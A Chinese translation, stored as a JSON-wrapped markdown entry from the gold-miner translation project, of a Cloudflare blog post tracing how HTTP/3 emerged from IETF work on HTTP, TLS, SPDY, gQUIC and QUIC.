    "path": "TODO1/http-3-from-root-to-tip.md",
    "content": "> * 原文地址：[HTTP/3: From root to tip](https://blog.cloudflare.com/http-3-from-root-to-tip/)\n> * 原文作者：[Lucas Pardue](https://blog.cloudflare.com/author/lucas/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/http-3-from-root-to-tip.md](https://github.com/xitu/gold-miner/blob/master/TODO1/http-3-from-root-to-tip.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ)，[kasheemlew](https://github.com/kasheemlew)，[Fengziyin1234](https://github.com/Fengziyin1234)\n\n# HTTP/3：起源\n\nHTTP 是确保 Web 应用程序正常运行的应用层协议。1991 年，HTTP/0.9 正式发布，至 1999 年，已经发展为 IETF（国际互联网工程任务组）的标准化协议 HTTP/1.1。在很长的一段时间里，HTTP/1.1 表现得都非常好，但面对如今变化多端的 Web 需求，显然需要一个更为合适的协议。2015 年，HTTP/2 应运而生。最近，有人披露 IETF 预计发布一个新版本 —— HTTP/3。对有些人来说，这是惊喜，也引发了业界的激烈探讨。如果你不怎么关注 IETF，可能就会觉得 HTTP/3 的出现非常突然。但事实是，我们可以透过 HTTP 的一系列实现和 Web 协议发展来追溯它的起源，尤其是 QUIC 传输协议。\n\n如果你不熟悉 QUIC，可以查看我同事的一些高质量博文。John 的[博客](https://blog.cloudflare.com/the-quicening/)从不同的角度讨论了现如今的 HTTP 所存在的一些问题，Alessandro 的[博客](https://blog.cloudflare.com/the-road-to-quic/) 阐述了传输层的本质，Nick 的[博客](https://blog.cloudflare.com/head-start-with-quic/) 涉及了相关测试的处理方法。我们对这些相关内容进行了收集整理，如果你想要查看更多内容，可以前往 [https://cloudflare-quic.com](https://cloudflare-quic.com)。如果你对此感兴趣，记得去查看我们自己用 Rust 编写的 QUIC 开源实现项目 —— [quiche](https://blog.cloudflare.com/enjoy-a-slice-of-quic-and-rust/)。\n\nHTTP/3 是 QUIC 传输层的 HTTP 应用程序映射。该名称在最近（2018 年 10 月底）草案的第 17 个版本中被正式提出（[draft-ietf-quic-http-17](https://tools.ietf.org/html/draft-ietf-quic-http-17)），在 11 月举行的 IETF 103 会议中进行了讨论并形成了初步的共识。HTTP/3 以前被称为 QUIC（以前被称为 HTTP/2）。在此之前，我们已经有了 gQUIC，而在更早之前，我们还有 SPDY。事实是，HTTP/3 只是一种适用于 IETF QUIC 的新 HTTP 语法 —— 基于 UDP 的多路复用和安全传输。\n\n在本文中，我们将讨论 HTTP/3 以前一些名称背后的历史故事，以及最近更名的诱因。我们将回到 HTTP 的早期时代，探寻它一路成长中的美好回忆。如果你已经迫不及待了，可以直接查看文末，或打开[这个详细的 SVG 版本](https://blog.cloudflare.com/content/images/2019/01/web_timeline_large1.svg)。\n\n![](https://blog.cloudflare.com/content/images/2019/01/http3-stack.png)\n\nHTTP/3 分层模型（蛋糕模型）\n\n## 设置背景\n\n在我们关注 HTTP 之前，值得回忆的是两个共享 QUIC 的名称。就像我们[之前](https://blog.cloudflare.com/the-road-to-quic/)解释得那样，gQUIC 通常是指 Google QUIC（协议起源），QUIC 通常用于表示与 gQUIC 不同的 IETF 标准（正在开发的版本）。\n\n在 90 年代初期，Web 需求就已经发生了改变。我们已经有了新的 HTTP 版本，以传输层安全（TLS）的形式加强用户安全性。在本文中，我们会涉及 TLS。如果你想更详细地了解这个领域，可以参阅我们其他的高质量[博文](https://blog.cloudflare.com/tag/tls/)。\n\n为了帮助我们了解 HTTP 和 TLS 的历史，我整理了协议规范以及日期的细节内容。这种信息一般以文本形式呈现，比如，按日期排序说明文档标题的符号点列表。不过，因为分支标准的存在，所以重叠的时间和简单的列表并不能正确表达复杂的关系。在 HTTP 中，并行工作导致了核心协议定义的重构，为了更简单的使用，我们为新行为扩展了协议内容，为了提高性能，我们甚至还重定义了协议如何在互联网上交换数据。当你尝试了解近 30 年的互联网历史，跨越不同的分支工作流程时，你需要将其可视化。所以我做了一个 Cloudflare 安全 Web 时间线（注意：从技术上说，它是[进化树](https://en.wikipedia.org/wiki/Cladogram)，但时间线这个术语更广为人知）。\n\n在创建它时，经过深思熟虑后，我选择关注 IETF 中的成功分支。本文未涉及的内容，包括 W3C [HTTP-NG](https://www.w3.org/Protocols/HTTP-NG/) 工作组的努力成果，还有些热衷于解释如何发音的作者的奇特想法：[HMURR（发音为 'hammer'）](https://blog.jgc.org/2012/12/speeding-up-http-with-minimal-protocol.html) 和 [WAKA（发音为 “wah-kah”）](https://github.com/HTTPWorkshop/workshop2017/blob/master/talks/waka.pdf)。\n  \n为了让你们更好地把握本文的脉络，下面的一些部分，我会沿着这条时间线来解释 HTTP 历史的重点内容。了解标准化以及 IETF 是如何对待标准化的。因此，在回到时间线之前，我们首先会对这个主题进行一个简短的概述。如果你已经非常熟悉 IETF 了，可以跳过该内容。\n\n## Internet 标准的类型\n\n一般而言，标准定义了共同的职责范围、权限、适用性以及其他相关内容。标准有多种形状和大小，可以是非正式的（即事实上的），也可以是正式的（由 IETF、ISO 或 MPEG 等标准定义组织协商/发布的）。标准应用于众多领域，甚至还有一种为制茶而定义的正式标准的 —— BS 6008。\n\n早期 Web 使用在 IETF 之外发布的 HTTP 和 SSL 协议定义，它们在安全的 Web 时间线上被标记为**红线**。客户端和服务的对这些协议的妥协使它们得以成为事实上的标准。\n\n迫于当时的形式，这些协议最终被确定为标准化（一些激进的原因会在之后进行描述）。互联网标准通常在 IETF 中定义，以“多数共识和运行的代码”非正式原则作为指导。这是基于在互联网上开发和部署项目的经验。这与试图在真空中开发完美协议的 \"clean room\" 方法形成了鲜明对比。\n\nIETF 互联网标准通常被称为 RFCs。这是一个解释起来很复杂的领域，因此我建议阅读 QUIC 工作组主席 Mark Nottingham 的博文 \"[如何阅读 RFC](https://www.ietf.org/blog/how-read-rfc/)\"。工作组或 WG，或多或少的只是一个邮件列表。\n\nIETF 每年举行三次会议，为所有工作组提供时间和设施，如果他们愿意的话，可以亲自前来。这几周的行程挤在了一起，需要在有限的时间里深入讨论高级技术领域。为了解决这个问题，一些工作组甚至选择在 IETF 的一般性会议期间举行临时会议。这有助于保持规范开发的信心。自 2017 年以来，QUIC 工作组举行了几次临时会议，可以在其[会议网站页面](https://datatracker.ietf.org/wg/quic/meetings/)查看完整清单。\n\n这些 IETF 会议也为 IETF 的相关群体提供了机会，比如[互联网架构委员会](https://www.iab.org/)或者[互联网研究任务组](https://irtf.org/)。最近几年，在 IETF 会议前的几周还举行了 [IETF Hackathon](https://www.ietf.org/how/runningcode/hackathons/)。这为社区提供了一个开发运行代码的机会，更重要的是，可以和其他人进行交互操作性测试。这有助于发现规范中的问题，并在接下来的会议中进行讨论。\n\n这个博客最重要的目的是让大家理解 RFCs 并不是凭空出世的。很显然，它经历了以 IETF 因特网草案（I-D）格式开始的过程，该格式是为了考虑采用而提交的。在已发布规范的情况下，I-D 的准备可能只是一个简单的重格式化尝试。I-Ds 自发布起，有 6 个月的有效期。为了保证它的活跃，需要发布新的版本。实践中，让 I-D 消逝并不产生严重的后果，而且这一情况时有发生。对于想要了解它们的人，可以在 [IETF 文档网站](https://datatracker.ietf.org/doc/recent)阅览。\n\nI-Ds 在安全 Web 时间线上显示为**紫色**。每条线都有格式为 **draft-{author name}-{working group}-{topic}-{version}** 的唯一名称。工作组字段是可选的，它可以预测 IETF 工作组是否在此工作，这是可变的参数，如果选用了 I-D，或者如果 I-D 是直接在 IETF 内启动的，名称为 **draft-ietf-{working group}-{topic}-{version}**。I-Ds 就可能会产生分支，合并或者死亡。从 00 版本开始，每次发布新草案就 +1。比如，I-D 的第四稿有 03 版本号。无论何时，只要 I-D 变更名称，它的版本号就会重置为 00。\n\n需要注意的是，任何人都可以向 IETF 提交一个 I-D；你不应该将这些视为标准。但如果 IETF 的 I-D 标准化过程得到了一致的肯定，而且通过了最终的文件审查，我们就会得到一个 RFC。在此阶段，名称会再次变更。每个 RFC 都有一个唯一的数字。比如，[RFC 7230](https://tools.ietf.org/html/rfc7230)。他们在安全 Web 时间线上显示为**蓝色**。\n\nRFC 是不可变文档。这意味着 RFC 的更改会产生一个全新的数字。为了合并修复的错误（发现和报告的编辑或技术错误）或是简单地重构规范来改进布局，可以进行更改。RFC 可能会**弃用**旧版本，或只是**更新**它们（实质性改变）。\n\n所有的 IETF 文档都是开源在 [http://tools.ietf.org](http://tools.ietf.org) 上的。因为它提供了从 I-D 到 RFC 的文档进度可视化，所以个人认为 [IETF Datatracker](https://datatracker.ietf.org) 对用户很友好。\n\n以下是显示 [RFC 1945](https://tools.ietf.org/html/rfc1945) —— HTTP/1.0 开发的示例，它为安全 Web 时间线提供了一个明确灵感来源。\n\n![](https://blog.cloudflare.com/content/images/2019/01/RFC-1945-datatracker.png)\n\nIETF RFC 1945 Datatracker 视图\n\n有意思的是，在我的工作过程中，我发现上述可视化是不正确的。由于某种原因，它丢失了 [draft-ietf-http-v10-spec-05](https://tools.ietf.org/html/draft-ietf-http-v10-spec-05)。由于 I-D 生命周期只有 6 个月，所以在成为 RFC 之前会存在分歧，而实际上草案 05 直到 1996 年 8 月，仍处于活跃状态。\n\n## 探索安全的 Web 时间线\n\n稍微了解因特网标准文档是如何实现后，我们就可以着手安全网络时间线了。在本节中，有许多摘选图显示了时间轴的重要部分。每个点对应着文档或功能的可用日期。对于 IETF 文档，为了清晰可见，省略了草案编号。但如果你想查看所有细节，可以查看[完整的时间线](https://blog.cloudflare.com/content/images/2019/01/web_timeline_large1.svg)。\n\nHTTP 在 1991 年以 HTTP/0.9 协议开始，在 1994 年 I-D [draft-fielding-http-spec-00](https://tools.ietf.org/html/draft-fielding-http-spec-00) 发布。它很快就被 IETF 采用，导致 [draft-ietf-http-v10-spec-00](https://tools.ietf.org/html/draft-ietf-http-v10-spec-00) 的名称被修改。在 [RFC 1945](https://tools.ietf.org/html/rfc1945) —— HTTP/1.0 于 1996 年发布之前，I-D 已经已经了 6 个草案版本的修改。\n\n![](https://blog.cloudflare.com/content/images/2019/01/http11-standardisation.png)\n\n甚至在 HTTP/1.0 还没有完成之前，HTTP/1.1 就已经开始了一个独立的分支。I-D [draft-ietf-http-v11-spec-00](https://tools.ietf.org/html/draft-ietf-http-v11-spec-00) 于 1995 年 11 月发布，1997 年正式以 [RFC 2068](https://tools.ietf.org/html/rfc2068) 形式出版。敏锐的洞察力会让你发现安全 Web 时间线并不能捕捉到事件顺序，这是用于生成可视化工具的一个不幸的副作用。我会尽可能的减少这样的问题。\n\nHTTP/1.1 修订工作在 1997 年年中以 [draft-ietf-http-v11-spec-rev-00](https://tools.ietf.org/html/draft-ietf-http-v11-spec-rev-00) 形式开始。1999 年出版的 [RFC 2616](https://tools.ietf.org/html/rfc2616) 标志着这一计划的完成。直到 2007 年，IETF HTTP 世界才获得平静。我们很快会再提及此事。\n\n## SSL 和 TLS 的历史\n\n![](https://blog.cloudflare.com/content/images/2019/01/ssl-tls-standardisation.png)\n\n现在我们开始研究 SSL。我们可以看到 SSL 2.0 规范是在 1995 年前后发布的，SSL 3.0 是在 1996 年 11 月发布的。有趣的是，在 2011 年 8 月发布的 SSL 3.0 [RFC 6101](https://tools.ietf.org/html/rfc6101) 是**里程碑**版本，通常是为了“记录被考虑和丢弃的想法，或者是在决定记录他们时已经具有历史意义的协议”。参照 [IETF](https://www.ietf.org/blog/iesg-statement-designating-rfcs-historic/?primary_topic=7&)。在这种情况下，拥有描述 SSL 3.0 的 IETF 文档是有利的，因为它可以作为其他地方的规范引用。\n\n我们更感兴趣的是 SSL 如何促进 TLS 发展的，TLS 的生命在 1996 年 11 月开始于 [draft-ietf-tls-protocol-00](https://tools.ietf.org/html/draft-ietf-tls-protocol-00)。它通过了 6 个草案版本，发布时为 [RFC 2246](https://tools.ietf.org/html/rfc2246) —— TLS 1.0 起始于 1999。\n\n在 1995 年和 1999 年，SSL 和 TLS 协议被用于保护因特网上的 HTTP 通信。作为一个事实上的标准，它并没有太大的问题。直到 1998 年 1 月，HTTPS 的正式标准化进程才随着 I-D [draft-ietf-tls-https-00](https://tools.ietf.org/html/draft-ietf-tls-https-00) 的出版而开始。这项工作结束于 2000 年 5 月，发布的 [RFC 2616](https://tools.ietf.org/html/rfc2616) —— HTTP over TLS。\n\n伴随着 TLS 1.1 和 1.2 的标准化，TLS 在 2000 至 2007 年得以继续发展。距下一个 TLS 版本的开发时间还有 7 年时间，它在 2014 年 4 月的 [draft-ietf-tls-tls13-00](https://tools.ietf.org/html/draft-ietf-tls-tls13-00) 中被通过，在历经 28 份草案之后，[RFC 8446](https://tools.ietf.org/html/rfc8446) —— TLS 1.3 于 2018 年 8 月完成。\n\n## 因特网标准化过程\n\n在看了下时间线之后，我希望你能对 IETF 的工作方式有大概的了解。互联网标准形成方式的概况是，研究人员或工程师和他们具体用例的实验协议。他们在不同规模的公共或私有协议中进行试验。这些数据有助于发现可以优化的地方或问题。这项工作可能是为了解释试验，收集更广泛的投入，或帮组寻找其他实验者。其他对早期工作的参与者可能会使其成为事实上的标准；可能最后会有足够的原因使其成为正式标准化的一种选择。\n\n对于正在考虑实施、部署或以某种范式使用协议的组织来说，协议的状态可能是一个重要的因素。一个正式的标准化过程可以促使事实上的标准更具吸引力，因为标准化倾向于提供稳定性。管理和指导由 IETF 这类组织提供，它反映了更广泛的经验。然而，需要强调的是，并非所有的正式标准都是成功的。\n\n创建最终标准的过程与标准本身同等重要。从具有更广泛知识、经验和用例的人那里获取初步的想法和贡献，可以帮助产生对更广泛人群有用的产物。但标准化的过程并不容易。存在陷阱和障碍，有时，需要花费很长的时间过程，才能排除不相关的内容。\n\n每个标准定义组织都存在自己的标准化过程，主要围绕其对应领域和参与者。解释 IETF 如何运转的所有工作细节，远远超过了这个博客的涵盖范围。IETF 的“[我们的运行原理](https://www.ietf.org/how/)”是很好的起点，涵盖了很多内容。是的，理解的最好途径就是自己参与其中。就像加入电子邮件列表或添加相关 GitHub 仓库的讨论一样容易。\n\n## Cloudflare 的运行代码\n\nCloudflare 为成为新的、不断发展的协议的早期采用者而感到自豪。我们很早就采用了新标准，比如 [HTTP/2](https://blog.cloudflare.com/introducing-http2/)。我们还测试了一些实验性或尚未最终确定的特性，比如 [TLS 1.3](https://blog.cloudflare.com/introducing-tls-1-3/) 和 [SPDY](https://blog.cloudflare.com/introducing-spdy/)。\n\n在 IETF 标准化过程中，将运行中的代码部署到多个不同网站的真实网络上，可以帮助我们理解协议在实践中的工作效果。我们将现有的专业知识与实现信息进行结合，来改进运行中的代码，并在有意义的地方，对工作组的反馈问题或改进进行修正，来促使协议标准化。\n\n测试新特性并不是唯一的优先级。作为改革者，需要知道什么时候推进进度，抛弃旧的创新。有时，这会涉及到面向安全的协议，比如 Cloudflare 因为 POODLE 的漏洞而[默认禁用 SSLv3](https://blog.cloudflare.com/sslv3-support-disabled-by-default-due-to-vulnerability/)。在某些情况下，协议会被更先进的所取代；Cloudflare [废弃 SPDY](https://blog.cloudflare.com/deprecating-spdy/)，转而支持 HTTP/2。\n\n相关协议的介绍和废弃在安全 Web 时间线上显示为**橙色**。垂直虚线有助于将 Cloudflare 事件与 IETF 相关文档关联。比如，Cloudflare 在 2016 年 9 月开始支持的 TLS 1.3，最后的文档 [RFC 8446](https://tools.ietf.org/html/rfc8446)，在近两年后的 2018 年 8 月发布。\n\n![](https://blog.cloudflare.com/content/images/2019/01/cf-events.png)\n\n## 重构 HTTPbis\n\nHTTP/1.1 是非常成功的协议，时间线显示 1999 年以后 IETF 并不活跃。然而，事实是，多年的积极使用，为 [RFC 2616](https://tools.ietf.org/html/rfc2616) 研究潜在问题提供了实战经验，但这也导致了一些交互操作的问题。此外，RFC（像 2817 和 2818）还对该协议进行了扩展。2007 年决定启动一项改进 HTTP 协议规范的新活动 —— HTTPbis（\"bis\" 源自拉丁语，意为“二”、“两次”或“重复”），它还采用了新的工作组形式。最初的[章程](https://tools.ietf.org/wg/httpbis/charters?item=charter-httpbis-2007-10-23.txt)详细描述了尝试解决的问题。\n\n简而言之，HTTPbis 决定重构 [RFC 2616](https://tools.ietf.org/html/rfc2616)。它将纳入勘误修订，合并在此期间发布的其他规范的一些内容。文件将被分为几个部分，这导致 2017 年 12 月发布了 6 个 I-D：\n\n*   draft-ietf-httpbis-p1-messaging\n*   draft-ietf-httpbis-p2-semantics\n*   draft-ietf-httpbis-p4-conditional\n*   draft-ietf-httpbis-p5-range\n*   draft-ietf-httpbis-p6-cache\n*   draft-ietf-httpbis-p7-auth\n\n![](https://blog.cloudflare.com/content/images/2019/01/http11-refactor.png)\n\n图表显示了这项工作是如何在长达 7 年的草案过程中取得进展的，在最终被标准化之前，已经发布了 27 份草案。2014 年 6 月，发布了 RFC 723x 系列（x 范围在 0-5）。HTTPbis 工作组的主席以 \"[RFC2616 is Dead](https://www.mnot.net/blog/2014/06/07/rfc2616_is_dead)\" 来庆祝这一成果。如果它不够清楚，这些新文档就会弃用旧的 [RFC 2616](https://tools.ietf.org/html/rfc2616)。\n\n## 这和 HTTP/3 有什么联系？\n\n尽管 IETF 的 RFC 723x 系列的工作繁忙，但是技术的进步并未停止。人们继续加强、扩展和测试因特网上的 HTTP。而 Google 已率先开始尝试名为 SPDY（发音同 Speedy）的技术。该协议宣称可以提高 Web 浏览性能，一个使用 HTTP 原则的用例。2009 年底，SPDY v1 发布，2010 年 SPDY v2 紧随其后。\n\n我想避免深入 SPDY 的技术细节。因为这又是另一个话题。重要的是理解 SPDY 采用的是 HTTP 核心范例，通过对交换格式的修改来改进技术。我们可以看到 HTTP 清楚地划分了语义和语法。语义描述了请求和响应的概念，包括：方法，状态码，头字段（元数据）和主体部分（有效载荷）。语法描述如何将语义映射到 wire 字节上。\n\nHTTP/0.9、1.0 和 1.1 有很多相同的语义。它们还以通过 TCP 连接发送字符串的形式共享语法。SPDY 采用 HTTP/1.1 语义，语法修改是，将字符串改为二进制。这是一个非常有趣的话题，但今天并不会深入涉及这些问题。\n\nGoogle 对 SPDY 实验表明，改变 HTTP 语法是有希望的，维持现有 HTTP 语义是有意义的。比如，保留 URL 的使用格式 —— https://，可以避免许多可能影响采用的问题。\n\n看到一些积极的结果后，IETF 决定考虑 HTTP/2.0。2012 年 3 月 IETF 83 期间举行的 HTTPbis 会议的 [slides](https://github.com/httpwg/wg-materials/blob/gh-pages/ietf83/HTTP2.pdf)显示了请求、目标和成功标准。它还明确指出 \"HTTP/2.0 与 HTTP/1.x 连线格式不兼容\"。\n\n![](https://blog.cloudflare.com/content/images/2019/01/http2-standardisation.png)\n\n社区在这次会议期间被邀请分享提案。提交审议的 I-D 包括 [draft-mbelshe-httpbis-spdy-00](https://tools.ietf.org/html/draft-mbelshe-httpbis-spdy-00)、[draft-montenegro-httpbis-speed-mobility-00](https://tools.ietf.org/html/draft-montenegro-httpbis-speed-mobility-00) 和 [draft-tarreau-httpbis-network-friendly-00](https://tools.ietf.org/html/draft-tarreau-httpbis-network-friendly-00)。最终，SPDY 草案被通过，在 2012 年 11 月开始于 [draft-ietf-httpbis-http2-00](https://tools.ietf.org/html/draft-ietf-httpbis-http2-00)。在超过 2 年的时间里完成了 18 次草案，[RFC 7540](https://tools.ietf.org/html/rfc7540) —— HTTP/2 于 2015 年发布。在此规范期间，HTTP/2 的精确语法的差异导致 HTTP/2 和 SPDY 不兼容。\n\n这几年，IETF 的 HTTP 相关工作繁重，HTTP/1.1 的重构与 HTTP/2 的标准化齐头并进。与 21 世纪初的平静形成了鲜明对比。你可以查看完整的时间表来查看这些繁重的工作。\n\n尽管 HTTP/2 正处于标准化阶段，但使用和实验 SPDY 的好处不言而喻。Cloudflare 在 2012 年 8 月[引入了对 SPDY 的支持](https://blog.cloudflare.com/spdy-now-one-click-simple-for-any-website/)，在 2018 年 2 月将其弃用，我们的统计数据显示只有不到 4% 的 Web 客户仍然会考虑继续使用 SPDY。与此同时，我们在 2015 年 12 月[引入对 HTTP/2](https://blog.cloudflare.com/introducing-http2/)的支持，在 RFC 发布不久后，我们的分析表明有意义的 Web 客户端可以对其加以利用。\n\n使用 SPDY 和 HTTP/2 协议 的 Web 客户端支持首选使用 TLS 的安全选项。2014 年 9 月引入 [Universal SSL](https://blog.cloudflare.com/introducing-universal-ssl/) 有助于确保所有注册 Cloudflare 的网站都能够利用这些新协议。\n\n### gQUIC\n\n2012-2015 之间，Google 继续进行试验，他们发布了 SPDY v3 和 v3.1。他们还开始研究 gQUIC(当时的发音类似于 quick），在 2012 年年初，发布了初始的公共规范。\n\ngQUIC 的早期版本使用 SPDY v3 形式的 HTTP 语法。这个选择是有意义的，因为 HTTP/2 尚未完成。SPDY 二进制语法被打包到可以用 UDP 数据报发送数据的 QUIC 包中。这与 HTTP 传统上依赖的 TCP 传输不同。当所有的东西堆叠在一起时，就会像这样：\n\n![](https://blog.cloudflare.com/content/images/2019/01/gquic-stack.png)\n\nSPDY 式 gQUIC 分层模型（蛋糕模型）\n\ngQUIC 使用巧妙的设计来实现性能优化。其中一个是破坏应用程序与传输层之间清晰的分层。这也意味着 gQUIC 只支持 HTTP。因此，gQUIC 最后被称为 \"QUIC\"。它是 HTTP 下一个候选版本的同义词。QUIC 从过去的几年到现在，一直在持续更新，但我们并不会涉及过多的讨论，QUIC 也被人们理解为是初始 HTTP 的变体。不幸的是，这正是我们在讨论协议时，经常出现混乱的原因。\n\ngQUIC 继续在实验中摸索，最后选择了更接近 HTTP/2 的语法。也正因为如此，它才被称为 \"HTTP/2 over QUIC\"。但因为技术上的限制，所有存在一些非常微妙的差别。一个示例是，HTTP 头是如何序列化并交换的。这是一个细微的差别，但实际上，这意味着 HTTP/2 式 gQUIC 与 IETF's HTTP/2 并不兼容。\n\n最后，同样重要的是，我们总是需要考虑互联网协议的安全方面。gQUIC 选择不使用 TLS 来提供安全性。转而使用 Google 开发的另一种称为 QUIC Crypto 的方法。其中一个有趣的方面是有一种加速安全握手的新方法。以前与服务器建立了安全会话的客户端可以重用信息来进行“零延迟往返握手”或 0-RTT 握手。0-RTT 后来被纳入 TLS 1.3。\n\n## 现在可以告诉你什么是 HTTP/3 了么？\n\n当然。\n\n到目前为止，你应该已经了解了标准化的工作原理，gQUIC 并非与众不同。或许你也对 Google 用 I-D 格式编写的规范感兴趣。在2015 年 6 月的 [draft-tsvwg-quic-protocol-00](https://tools.ietf.org/html/draft-tsvwg-quic-protocol-00) 中，写有 \"QUIC：基于 UDP 的安全可靠的 HTTP/2 传输\" 已经提交。请记住我之前提过的，几乎都是 HTTP/2 的语法。\n\nGoogle [宣布](https://groups.google.com/a/chromium.org/forum/#!topic/proto-quic/otGKB4ytAyc)将在布拉格举行一次 Bar BoF  IETF 93 会议。如有疑问，请参阅 [RFC 6771](https://tools.ietf.org/html/rfc6771)。提示：BoF 是物以类聚（Birds of a Feather）的缩写。\n\n![](https://blog.cloudflare.com/content/images/2019/01/quic-standardisation.png)\n\n总之，与 IETF 的合作结果是 QUIC 在传输层提供了许多优势，而且它应该与 HTTP 分离。应该重新引入层与层之间清楚的隔离。此外，还有返回基于 TLS 握手的优先级（它自 TLS 1.3 起就在运行，所以并不是太槽糕，而且它结合了 0-RTT 握手）。\n\n大约是一年后，在 2016 年，一组新的 I-D 集合被提交：\n\n*   [draft-hamilton-quic-transport-protocol-00](https://tools.ietf.org/html/draft-hamilton-quic-transport-protocol-00)\n*   [draft-thomson-quic-tls-00](https://tools.ietf.org/html/draft-thomson-quic-tls-00)\n*   [draft-iyengar-quic-loss-recovery-00](https://tools.ietf.org/html/draft-iyengar-quic-loss-recovery-00)\n*   [draft-shade-quic-http2-mapping-00](https://tools.ietf.org/html/draft-shade-quic-http2-mapping-00)\n\n这里是关于 HTTP 和 QUIC 的另一个困惑的来源。[draft-shade-quic-http2-mapping-00](https://tools.ietf.org/html/draft-shade-quic-http2-mapping-00) 题为 \"HTTP/2 使用 QUIC 传输协议的语义\"，对于自己的描述是 \"HTTP/2 式 QUIC 的另一种语义映射\"。但这个解释并不正确。HTTP/2 在维护语义的同时，改变了语法。而且，我很早之前就说过了，\"HTTP/2 式 gQUIC\" 从未对语法进行确切的描述，记住这个概念。\n\n这个 QUIC 的 IETF 版本即将成为新的传输层协议。因为任务艰巨，所以 IETF 会在首次确认之前，评估测评人员对其的实际兴趣程度。因此，2016 年在柏林举行 IETF 96 会议期间，举行了一次正式的 [Birds of a Feather](https://www.ietf.org/how/bofs/) 会议。我很荣幸地参加了这次会议，[幻灯片](https://datatracker.ietf.org/meeting/96/materials/slides-96-quic-0)并未给出公正的评价。就像 Adam Roach 的[图片](https://www.flickr.com/photos/adam-roach/28343796722/in/photostream/)所示，有数百人参加了这次会议。会议结束时，达成了一致的共识：QUIC 将被 IETF 采用并标准化。\n\n将 HTTP 映射到 QUIC 的第一个 IETF QUIC I-D —— [draft-ietf-quic-http-00](https://tools.ietf.org/html/draft-ietf-quic-http-00)，采用了 Ronseal 方法来简化命名 —— \"HTTP over QUIC\"。不幸的是，它并没有达到预期效果，整个内容中都残留有 HTTP/2 术语的实例。Mike Bishop —— I-D 的新编辑，发现并修复了 HTTP/2 的错误名称。在 01 草案中，将描述修改为 \"a mapping of HTTP semantics over QUIC\"。\n\n随着时间和版本的推进，\"HTTP/2\" 的使用逐渐减少，实例部分仅仅是对 [RFC 7540](https://tools.ietf.org/html/rfc7540) 部分的引用。从 2018 年 10 月开始向前回退两年的时间开始计算，I-D 如今已经是第 16 版本。虽然 HTTP over QUIC 与 HTTP/2 有相似内容，但始终是独立的（非向后兼容的 HTTP 语法）。然而，对那些不密切关注 IETF 发展的人来说（人数众多），他们并不能从名称中发现一些细微的差异。标准化的重点之一是帮助通信和互操作性。但像命名这样的简单事件，才是导致社区相对混乱的主要原因。\n\n回顾 2012 年的内容，\"HTTP/2.0 意味着 wire 格式与 HTTP/1.x 格式不兼容\"。IETF 遵循现有线索。IETF 103 是经过深思熟虑才最终达成一致的，即：\"HTTP over QUIC\" 命名为 HTTP/3。互联网正在促使世界变得更加美好，我们可以继续进行更加重要的探讨。\n\n## 但 RFC 7230 和 7231 并不同意你对语义和语法的定义！\n\n文档的标题有时候会给人造成困扰。如今描述 HTTP 文档语法和语义的是：\n\n*   [RFC 7230](https://tools.ietf.org/html/rfc7230) —— 超文本传输协议（HTTP/1.1）：消息语法和路由\n*   [RFC 7231](https://tools.ietf.org/html/rfc7231) —— 超文本传输协议（HTTP/1.1）：语法和上下文\n\n对这些名称的过度解读可能会让你认为 HTTP 版本的核心语义是特定的。比如，HTTP/1.1。但这是 HTTP 家族树的副作用。好消息是 HTTPbis 工作组正在尝试解决这个问题。一些勇敢的成员正在进行文档的另一轮修订，就像 Roy Fielding 说的 \"one more time!\"。这项工作目前正作为 HTTP 核心任务进行（你可能也听过 moniker HTTPtre 或 HTTPter；命名工作很艰难）。这将把六个草案压缩成三个：\n\n*   HTTP 语义（draft-ietf-httpbis-semantics）\n*   HTTP 缓存（draft-ietf-httpbis-caching）\n*   HTTP/1.1 消息语法和路由（draft-ietf-httpbis-messaging）\n\n在这种新结构之下，对于常见的 HTTP 定义来说，HTTP/2 和 HTTP/3 的语法定义会更清晰。这并不意味着它拥有超出语法以外的特性，但这在未来是否有变数仍可商榷。\n\n## 总结\n\n本文对过去三十年 IETF 如何标准化 HTTP 做了大概的简介。在不涉及技术细节的情况下，我尽量解释 HTTP/3 的历史发展进程。如果你跳过了中间的 good bits 部分却又想概括地了解它，概况来说就是：HTTP/3 只是一种适用于 IETF QUIC 的新 HTTP 语法 —— 一种基于 UDP 多路复用的安全传输层。仍有许多有趣的领域需要深入探索，但需要等下次有机会再做介绍。\n\n本文的叙述过程中，我们探究了 HTTP 和 TLS 开发中的重要章节，但它们都是单独阐述的。在文章即将结束时，我们会将它们全部总结到下面介绍的完整安全 Web 时间线。你可以用它来调查详细的历史记录。对于 super sleuths，请务必查看[包括草案编号的完整版本](https://blog.cloudflare.com/content/images/2019/01/web_timeline_large1.svg)。\n\n![](https://blog.cloudflare.com/content/images/2019/01/cf-secure-web-timeline-1.png)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/http-security-headers-a-complete-guide.md",
